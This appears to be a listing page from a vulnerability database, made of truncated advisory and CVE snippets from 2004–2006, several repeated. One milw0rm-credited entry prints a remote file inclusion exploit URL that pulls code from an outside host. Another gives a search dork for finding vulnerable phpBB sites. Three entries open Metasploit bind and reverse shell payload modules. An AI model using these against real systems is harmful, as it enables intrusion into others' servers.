Boite de News 4.0.1 - 'index.php' Remote File Inclusion

Boite de News v4.0.1 Remote File Inclusion Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1801boiteden-401.zip Found By: the master exploit: http://Target/Path/boitenews4/index.php?urlindex=http://cmd.gif? milw0rm.com 2006-08-09...

Rocks Clusters <=4.1 local root

direct link: http://xavier.tigerteam.se/advisories/TSEAD-200606-6.txt tigerteam.se security advisory - TSEAD-200606-6 www.tigerteam.se Advisory: Rocks Clusters =4.1 local root vulnerabilities Date: Wed Jul 5 15:52:59 EDT 2006 Application: mount-loop, umount-loop Vulnerability: Lack of filtering o...

Rocks Clusters <=4.1 local root

direct link: http://xavier.tigerteam.se/advisories/TSEAD-200606-6.txt tigerteam.se security advisory - TSEAD-200606-6 www.tigerteam.se Advisory: Rocks Clusters =4.1 local root vulnerabilities Date: Wed Jul 5 15:52:59 EDT 2006 Application: mount-loop, umount-loop Vulnerability: Lack of filtering o...

CVE-2006-2823

CVE-2006-2823 affects a.shopKart 2.0 (aka ashopKart20). The issue is that sensitive data is stored under the web root with insufficient access control, enabling remote retrieval of the database via direct requests to admin/scart.mdb and possibly admin/scart97.mdb. The provided sources confirm the...

CVE-2006-2642: Undefined Security Weakness

UNVERIFIABLE NOTE: this issue does not contain any verifiable or actionable details. Cross-site scripting XSS vulnerability in Marco M. F. De Santis Php-residence 0.6 and earlier allows remote attackers to inject arbitrary web script or HTML via "any of its input." NOTE: the original disclosure i...

Knowledge Base Mod 2.0.2 - phpBB Remote File Inclusion

Knowledge Base Mod 2.0.2 - phpBB Remote File Inclusion Title: Knowledge Base Mod for PHPbb = 2.0.2 remote file inclusion URL: http://www.phpbb2.de/dload.php?action=file&fileid=538 Dork: "Powered by Knowledge Base" Credits: Oo Exploit:...

Yahoo!Messenger is installed

Yahoo!Messenger - an instant messaging software, which may not be suitable for a business environment - is installed on the remote host. If its use is not compatible with your corporate policy, you should de-install it. This VT has been deprecated and replaced by the VT SPDX-FileCopyrightText: 20...

Microsoft Commerce Server 2002: Logon as known user with a false password

Microsoft Commerce Server 2002: Logon as known user with a false password Vulnerable: Microsoft Windows Server 2000/2003 + Internet Information Server 5/6 + Commerce Server 2002 Discussion: Microsoft Commerce Server is used by company's who want to give customers the opportunity to change there o...

Ubuntu 4.10 / 5.04 / 5.10 : heimdal vulnerability (USN-253-1)

A remote Denial of Service vulnerability was discovered in the heimdal implementation of the telnet daemon. A remote attacker could force the server to crash due to a NULL de-reference before the user logged in, resulting in inetd turning telnetd off because it forked too fast. Please note that t...

Remote file inclusion

PHP remote file inclusion vulnerability in index.php in Top sites de PixelArtKingdom allows remote attackers to include and execute arbitrary files via the page parameter...

CVE-2006-0969

The CVE-2006-0969 entry concerns a PHP remote file inclusion vulnerability in the page parameter of index.php within Top sites de PixelArtKingdom. The underlying issue is unsafely using the page parameter in an include/require operation, enabling remote attackers to cause arbitrary file inclusion...

CVE-2006-0969: Undefined Security Weakness

PHP remote file inclusion vulnerability in index.php in Top sites de PixelArtKingdom allows remote attackers to include and execute arbitrary files via the page parameter...

CVE-2006-0511

Blackboard Academic Suite 6.0 and earlier does not properly clear session information when de-authenticating a user who is idle, which allows subsequent users to log in as the previous user and gain privileges. NOTE: the vendor has disputed this issue, saying that "This is a customer specific iss...

[Full-disclosure] Advisory: Apple QuickTime Player Remote Denial Of Service

Apple QuickTime Player Remote Denial Of Service by Piotr Bania [email protected] http://pb.specialised.info All rights reserved. CVE-ID: CVE-2005-2755 Original location: http://pb.specialised.info/all/adv/quicktime-mov-dos-adv.txt Severity: Critical - attack against any application loading...

Solaris Command Shell, Bind TCP Inline

Listen for a connection and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 95 include Msf::Payload::Single include Msf::Payload::Solaris include...

Solaris Command Shell, Reverse TCP Inline

Connect back to attacker and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 91 include Msf::Payload::Single include Msf::Payload::Solaris include...

BSD Command Shell, Bind TCP Inline

Listen for a connection and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 73 include Msf::Payload::Single include Msf::Payload::Bsd include...

CVE-2004-2398

Netenberg Fantastico De Luxe 2.8 uses database file names that contain the associated usernames, which allows local users to determine valid usernames and conduct brute force attacks by reading the file names from /var/lib/mysql, which is assigned world-readable permissions by cPanel 9.3.0 R5...

CVE-2004-2398

Vulnerability summary (CVE-2004-2398): Netenberg Fantastico De Luxe 2.8 stores database file names that reveal usernames because file names in the database directory are readable. This enables local attackers to enumerate valid usernames by listing files under /var/lib/mysql, where permissions we...

CVE-2004-2398: Undefined Security Weakness

Netenberg Fantastico De Luxe 2.8 uses database file names that contain the associated usernames, which allows local users to determine valid usernames and conduct brute force attacks by reading the file names from /var/lib/mysql, which is assigned world-readable permissions by cPanel 9.3.0 R5...